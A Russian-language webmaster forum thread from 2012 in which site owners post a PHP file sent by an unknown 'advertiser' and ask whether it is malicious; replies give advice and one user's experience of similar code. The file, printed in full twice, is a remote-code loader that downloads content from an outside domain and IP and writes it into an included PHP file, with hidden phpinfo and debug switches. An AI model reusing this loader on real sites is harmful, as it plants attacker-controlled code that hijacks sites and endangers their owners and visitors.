Помогите расшифровать код 11 г., 4 мес. назад
|
Репутация: 0
|
Здравствуйте уважаемые форумчане! Вопрос такой:
Некий рекламодатель предлагает мне разместить на моем сайте рекламный блок с несколькими ссылками за довольно щедрое вознаграждение. Прислали мне папку "lin" с файлом "reg.php" которую нужно загрузить в корень сайта. Потом, в нужном месте сайта подключить этот файл с помощью во такой строки" <?php echo require_once($_SERVER['DOCUMENT_ROOT']."/lin/new.php");?>
Но вот чет мне кажется, что мне пытаются фтюхать какой нить вирусняк. Помогите пожалуйста разобраться в коде этого файла, может и еще кто то сталкивался с таким. А если кидалово, то поможете не только мне. Спасибо! Ниже привожу код файла
Предупреждение: Помехи! Код: |
<?php
$GLOBALS['linSec'] = 'c905bcb2195bb5c5d949759bdcb81daa';
if (str_replace('\\', '/', __FILE__) == $_SERVER['SCRIPT_FILENAME'] && $_GET['get'] != $GLOBALS['linSec'])
{
header('HTTP/1.1 404 Not Found');
exit();
}
$sid = "67b4ef2fe6f57521b6ab153f9a035781";
if(isset($_REQUEST["errors"]) && $_REQUEST["errors"] == "true")
{ error_reporting(E_ALL); ini_set("display_errors", true); }
if(isset($_REQUEST["phpinfo"]) && $_REQUEST["phpinfo"] == "true")
{ phpinfo(); exit(); }
$filesent = "";
$link = "http://djqx.com/$sid/";
if(!isset($_REQUEST["g"]))
{ $filesent = file_get_contents($link); echo "<!--g/".strlen($filesent)."-->"; }
if(empty($filesent) && function_exists("curl_init") && !isset($_REQUEST["c"]))
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $link);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$filesent = curl_exec($ch);
if(curl_errno($ch)!== 0)
echo curl_error($ch);
curl_close($ch);
echo "<!--c/".strlen($filesent)."-->";
}
if(empty($filesent) && function_exists("fsockopen") && !isset($_REQUEST["s"]))
{
$out_head = "";
$fp = fsockopen("193.169.188.71", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out_head = "GET /$sid/ HTTP/1.0\r\nHost: djqx.com\r\nConnection: Close\r\n\r\n";
fwrite($fp, $out_head);
while (!feof($fp)) {
$filesent .= fgets($fp, 128);
}
fclose($fp);
}
$filesent = substr($filesent, strpos($filesent, "\r\n\r\n") + 4, strlen($filesent));
echo "<!--s/".strlen($filesent)."-->";
}
if(!empty($filesent)){
$failed = false;
$fsmart = fopen(dirname(__FILE__)."/new.php", "w+");
if ($failed = ($fsmart === false))
echo "<!--Unable to open file, probably no access-->";
elseif ($failed = (fwrite($fsmart, $filesent) === false))
echo "<!--Unable to write file, probably disk full-->";
else
{
fclose($fsmart);
echo "Регистрация прошла успешно";
}
if ($failed)
echo "<br>Невозможно установить файл new.php: возможно не выставлены права 777 на папку";
}
else { echo "<!--Empty Result-->"; }
?>
|
|
|
|
|
|
Помогите расшифровать код 11 г., 4 мес. назад
|
Репутация: 3
|
Мой совет,не делай этого,есть проверенные сайты advmaker.ru/ вот этот например.
Ну а если хочешь именно этот сервиc,то почитай отзывы!
|
|
|
Последнее редактирование: 08.11.2012 17:56 Редактировал kola60.
|
|
Помогите расшифровать код 11 г., 4 мес. назад
|
Репутация: 58
|
kola60 писал(а):
Мой совет,не делай этого,есть проверенные сайты advmaker.ru/ вот этот например.
Ну а если хочешь именно этот сервиc,то почитай отзывы!
Перестань флудить!
Человек создал тему для того что бы разобраться с предложным ему PHP кодом, а не услышать твое мнение о сервисах!
|
|
|
Требуется копирайтер для постоянного сотрудничества. Предложения и цены пишите в личку
|
|
Помогите расшифровать код 11 г., 4 мес. назад
|
Репутация: 0
|
Не, ну за совет все равно спасибо. Я то конечно делать ничего не буду пока не разберусь.
Настораживает то что и сервиса как такового мне не предоставили, просто связались через имейл сайта вида email@мой_сайт.ком с таким вот предложением. Короче кто и что - неизвестно.
А еще я заметил что в строке для подключения файла путь не тот что надо... Строка выглядит так:
<?php echo require_once($_SERVER['DOCUMENT_ROOT']."/lin/new.php");?>
А вот в папке lin лежит не new.php, а reg.php
Как вы это прокоментируете
|
|
|
|
|
Помогите расшифровать код 11 г., 4 мес. назад
|
Репутация: 0
|
У меня тот же вопрос!
Вот весь исходник! Жопой чую чот не то...
Предупреждение: Помехи!
Код: |
<?php
$GLOBALS['linSec'] = 'd403f5e6f5e5b636ce7929f02b197c5a';
if (str_replace('\\', '/', __FILE__) == $_SERVER['SCRIPT_FILENAME'] && $_GET['get'] != $GLOBALS['linSec'])
{
header('HTTP/1.1 404 Not Found');
exit();
}
$sid = "f4368453af1c15766a1182f60689ba00";
if(isset($_REQUEST["errors"]) && $_REQUEST["errors"] == "true")
{ error_reporting(E_ALL); ini_set("display_errors", true); }
if(isset($_REQUEST["phpinfo"]) && $_REQUEST["phpinfo"] == "true")
{ phpinfo(); exit(); }
$filesent = "";
$link = "http://djqx.com/$sid/";
if(!isset($_REQUEST["g"]))
{ $filesent = file_get_contents($link); echo "<!--g/".strlen($filesent)."-->"; }
if(empty($filesent) && function_exists("curl_init") && !isset($_REQUEST["c"]))
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $link);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$filesent = curl_exec($ch);
if(curl_errno($ch)!== 0)
echo curl_error($ch);
curl_close($ch);
echo "<!--c/".strlen($filesent)."-->";
}
if(empty($filesent) && function_exists("fsockopen") && !isset($_REQUEST["s"]))
{
$out_head = "";
$fp = fsockopen("193.169.188.71", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out_head = "GET /$sid/ HTTP/1.0\r\nHost: djqx.com\r\nConnection: Close\r\n\r\n";
fwrite($fp, $out_head);
while (!feof($fp)) {
$filesent .= fgets($fp, 128);
}
fclose($fp);
}
$filesent = substr($filesent, strpos($filesent, "\r\n\r\n") + 4, strlen($filesent));
echo "<!--s/".strlen($filesent)."-->";
}
if(!empty($filesent)){
$failed = false;
$fsmart = fopen(dirname(__FILE__)."/new.php", "w+");
if ($failed = ($fsmart === false))
echo "<!--Unable to open file, probably no access-->";
elseif ($failed = (fwrite($fsmart, $filesent) === false))
echo "<!--Unable to write file, probably disk full-->";
else
{
fclose($fsmart);
echo "Регистрация прошла успешно";
}
if ($failed)
echo "<br>Невозможно установить файл new.php: возможно не выставлены права 777 на папку";
}
else { echo "<!--Empty Result-->"; }
?>
|
|
|
|
Последнее редактирование: 09.11.2012 01:13 Редактировал Nikolia.
|
|
Помогите расшифровать код 11 г., 4 мес. назад
|
Репутация: 5
|
В кодах не силен, но могу рассказать о своем опыте такого рода. Тоже предложили мне на одном из моих сайтов установить код за ...цать баксов в месяц - после моего согласия деньги за месяц сразу перечислили -- я и установил код....
Нее вирусов никаких не было, На сайте sapa стояла - исчезла, вернее деньги пошли не туда, еще какие то коды изменились (не помню точно - почти 3 года прошло). Вообщем попытался обратно изменить, через кокаето время опять тоже самое.
В конце концов хостинг стал предьявлять претензии, что мой сайт перегрузил сервер, типо у Вас "дырявые скрипты стоят".
Удалил я эти коды
Поменял пароли - все, что можно
и вернул баксы.
И стало все нормально
|
|
|
|
|
|